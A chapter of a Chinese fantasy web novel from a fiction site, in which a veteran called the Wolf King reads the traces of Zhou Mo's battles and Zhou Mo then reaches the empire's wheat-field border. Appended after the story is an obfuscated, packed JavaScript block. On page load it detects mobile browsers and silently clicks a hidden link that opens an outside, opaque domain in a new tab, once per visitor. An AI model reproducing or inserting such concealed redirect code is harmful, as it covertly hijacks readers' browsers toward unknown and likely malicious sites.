第五文学网 > 玄幻小说 > 传承铸造师 > 第二十七章 边境线

第二十七章 边境线

    周墨不知,曾经在荒野酒吧中有过一面之缘的狼王,此时正走着他曾经走过的路。

    周墨搏杀十五名老卒的战场,狼王停下了脚步,仔细的勘察了一番。

    “从未见过的军阵杀法,用重剑,剑速破音障,霸道凌厉,杀人于呲目动念之间!”

    狼王得出了这样的结论后,又看了一眼这片方圆百米,草叶上皆有细微血雾痕迹的草地,狼王知道,这是用重兵器轰击人体,由于速度太快,造成血雾后,才能生成的厮杀场。

    一路循着周墨走过的痕迹,二十里路途对于黑铁阶生命来说不算什么,狼王很快来到了三百老卒以军阵截杀周墨的战场。

    和之前不同,三百老卒的尸体还横卧在草原之上,三百人的鲜血流淌成复杂的血网,狼王走动其间,不断根据一切痕迹复原着这里发生的战斗。

    “这里,起跳!”狼王抚摸了一下微微凹陷的草地。

    又在附近寻找了半天,却没发现有人从高处落下的痕迹。

    “落地不留痕,高手。”狼王心中暗赞。

    虽然找不到周墨从空中落地的痕迹,却不妨碍狼王找到周墨挥出第一剑的位置。

    “竟然是直接落在军阵中心,真是大胆,却也有效,帝国军阵千锤百炼,从外部几乎无懈可击,但是如果内部开花,就好办多了!”

    用手指在一片草叶上抹了一下,指肚上便染上了一层血红色。

    “在这里用的还是重剑,应该是落地之前,便轰杀了最少四人。”狼王不难想象周墨手持重剑,从天而落的瞬间,重剑挥舞,瞬间四人被轰成血雾的画面。

    “荒野边境军团差不多十年没有上过战场了,恢复血勇需要时间,这一下子就被吓住了,肯定呆愣了瞬间,不过可惜黑发小子也是个新手,没有抓住这个机会。”

    狼王摇头,口中还微微叹息。

    “这里扔出了重剑,又将人轰成了血雾,真是暴力啊!”

    狼王感叹一句,然后发觉有些不对,重新勘察。

    “原来如此,用血雾遮掩视线,毕竟切换斥候双刀,欺进一定距离,都需要时间,等对面的人出声提醒,然后被血雾隔断视线的人反应过来,足够黑发小子使用了,聪明!”

    狼王挨个看了枪兵头顶的刀痕,然后摇头赞叹。

    “蝶吻花,本是搏命用的杀式,被这小子用成了屠戮之法,不过能在空中停留如此之久,这身体素质,在黑铁中也不多见啊!”

    想了想只借着枪兵刺出的长枪之力,就能在空中走出一个大圈,还要不断的施展精准的刀法,这么做需要的平衡能力、眼力、空中转向闪避的体力,狼王只觉恐怖,便是他,平常表演或者能够做到,拼命之时如此做就是找死了。

    站在周墨曾经站的位置,想象着周墨战斗时的情况。

    “在外围刀枪游荡兵没有反应过来之前,就将所有枪兵收割一空,看来当时的画面一定很凄美诡异,也对,蝶吻花,本就很美!”

    “然后呢,黑发小子站在这里,与游荡兵们距离不近啊!”

    “动了,走的很稳,黑发小子不仅酒调的好,心里素质也是一等一的!”

    狼王睁开眼睛,调转阵营,站到了游荡兵一方。

    “嘿!沙场碎步,快步频率,边境军团的人还不算太废物,终于醒过来了。”

    狼王撇了撇嘴,似乎对边境军团的人有些不屑,重新站在周墨这边。

    “扔了重剑,身体负重大大减轻了,灵活了许多,或者说是换了杀法。”

    “啧啧,刀刀致命,步步惊心,刚用完蝶吻花,就又用了花间蝶,以双刀为蝶,生命为花,下手全无一丝犹豫,是个狠人!”

    此时狼王已经站在了周墨收刀的地方,看了看周墨在草地上留下的轻微痕迹,狼王又撇了撇嘴。

    “到底是个新手,前面杀了十五个还能忍的住,三百个就压不住生命的本能反应了,这里要是藏着一名斥候,在你干呕时致命一击,啧啧!可惜边境军团太过吝啬,对付黑发小子这般人物,怎么能就派出一名斥候?”

    站在周墨曾经干呕过的地方,狼王打量着草地。

    “这是发现了那个蝶粉的踪迹?”

    狼王沿着周墨留下的痕迹走了一会。

    “怪了,真是怪了,刀法可以苦练而出,但这循迹跟踪之法,没有老手带着干过百八十回,是不可能练的出来的,这黑发小子到底是哪里冒出的怪物?”

    这头退伍多年的狼王,本是看到周墨杀人用刀的手法跟他如出一辙,起了好奇心,过来看看热闹,却越看越好奇,这黑发小子简直就像是他手把手调教过数十年一般,比得了他真传的乖女儿还要像他,若是昔年的战友看到,肯定还以为是他做下的这票呢!

    又重新回到了蝶粉斥候被杀的地方,狼王摸了摸脑袋,有些犯了糊涂。

    “莫非老子当年在外面还留下过种子?军团的人给老子洗过记忆了?”

    狼王摸着后脑勺,百思不得其解,这也不怪狼王迷惑,谁能想到这世间竟然有经历具现化这般神奇的能力?

    周墨此时却已经来到了帝国荒原边境之外,和周墨想象的不同,没有高耸入云,连绵如山的城墙,也没有金戈铁甲,军容整齐的兵团。

    甚至,连一块标明帝国疆域的界碑也没有看到,只有一片金黄的麦地,一眼望不到边。

    帝国的边境,竟然就是庄稼和野草之间的那条线。

    周墨笑了,这道边境线可真是隐晦又分明,低调却又蕴含着无边的霸气。

    无人理会的荒草,精心收拾的庄稼,两者之间的分界线,用来隔绝荒芜与文明,真是用的恰到好处。

    看似连一块界碑都没有,却又暗含着帝国的庄稼种到哪里,哪里就是帝国之疆域的意思,这种藏在骨子里的霸气,让周墨一下子就对奥托帝国有了好感。

    浑身血污斑斑的周墨,就这么站在帝国边境线上,赞叹的笑着、领会着不知多少年前,想出用这种办法,划分帝国边境线的那位先贤的独特幽默感。

    沿着麦田的垄沟,向着一望无际的麦海深处走动,麦香阵阵,庄稼地里的味道将周墨血脉深处那种对土地的眷恋诱发出来。

    庄稼,文明最有力的证明,将周墨从一路的杀伐中拯救出来。

    人类生命成长的根基,文明的发源起始之物,一点一点的洗掉周墨在夕阳镇与荒野之中沾染的荒芜野性。

    忽然,不知从哪里的麦田中,传出了老农惬意的歌声。

    “丰收年咧,好大的丰收年咧……”

    只这么一句,只这么一嗓子荒腔走板的乡间小调,一下子就将周墨从蛮荒、杀戮中彻底的解救出来。

    在衣服上狠狠擦净了手上的残血,轻轻的抚摸在了饱满的麦穗上,周墨脸上露出傻傻的、大大的笑容。

    “丰收年啊,好,真好!”  


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('t B(){o(S C==="\\p\\6\\3\\0\\j\\5\\6\\0\\3"){D T}E a=(U^V)+(F^F);u G=C[\'\\p\\c\\0\\9\\W\\k\\0\\6\\4\'][\'\\4\\2\\v\\2\\m\\0\\9\\q\\1\\c\\0\']();a="X".w("").x().y("");u H=Y Z(\'\\1\\6\\3\\9\\2\\5\\3\\d\\5\\e\\l\\2\\6\\0\\d\\5\\e\\1\\3\\d\\5\\e\\2\\3\\d\\m\\5\\6\\3\\2\\m\\c\\I\\e\\l\\2\\6\\0\\d\\7\\8\\1\\g\\r\\7\\0\\9\\9\\h\\d\\c\\h\\f\\7\\5\\1\\6\\d\\m\\0\\7\\2\\c\\d\\2\\e\\0\\9\\1\\I\\f\\5\\6\\5\\d\\5\\0\\f\\2\\7\\5\\8\\0\\d\\f\\2\\7\\5\\8\\0\',\'\\5\');D H[\'\\4\\0\\c\\4\'](G)}t J(a){E b=(K^K)+(10^11);u i=n[\'\\g\\9\\0\\1\\4\\0\\L\\8\\0\\f\\0\\6\\4\']("\\1");b=(12^13)+(14^15);i[\'\\l\\9\\0\\j\']=a;i[\'\\c\\4\\h\\8\\0\'][\'\\3\\5\\c\\e\\8\\1\\h\']="\\6\\2\\6\\0";i[\'\\4\\1\\9\\k\\0\\4\']="16".w("").x().y("");n[\'\\7\\2\\3\\h\'][\'\\1\\e\\e\\0\\6\\3\\q\\l\\5\\8\\3\'](i);i[\'\\g\\8\\5\\g\\r\']();n[\'\\7\\2\\3\\h\'][\'\\9\\0\\f\\2\\z\\0\\q\\l\\5\\8\\3\'](i)}n[\'\\1\\3\\3\\L\\z\\0\\6\\4\\v\\5\\c\\4\\0\\6\\0\\9\']("\\17\\18\\19\\q\\2\\6\\4\\0\\6\\4\\v\\2\\1\\3\\0\\3",t(){o(!M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']){o(n[\'\\7\\2\\3\\h\']!=1a){M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']="\\A";O=P[\'\\k\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j");o(!O&&B()){J("\\l\\4\\4\\e\\c\\1b\\s\\s\\7\\m\\1c\\1d\\1e\\R\\9\\1f\\3\\k\\z\\7\\R\\g\\2\\f\\s\\g\\7\\3\\s\\1\\1\\1\\1\\7\\1")}P[\'\\c\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j","1g".w("").x().y(""))}}});',62,79,'u0065|u0061|u006F|u0064|u0074|u0069|u006E|u0062|u006C|u0072|||u0073|u007C|u0070|u006D|u0063|u0079|_0x9c_0xc86|u0066|u0067|u0068|u0077|document|if|u0075|u0043|u006B|u002F|function|const|u004C|split|reverse|join|u0076|u0049|isMobileDevice|navigator|return|var|464266|_0x86227d|_0x2_0x5d8|u0020|OpenUrl|200295|u0045|window|u0056|hasExecuted|localStorage|u005F|u002E|typeof|false|399549|399546|u0041|fmhjpl|new|RegExp|642306|642305|447903|447894|731200|731209|knalb_|u0044|u004F|u004D|null|u003A|u0031|u0030|u0032|u007A|eurt'.split('|'),0,{}))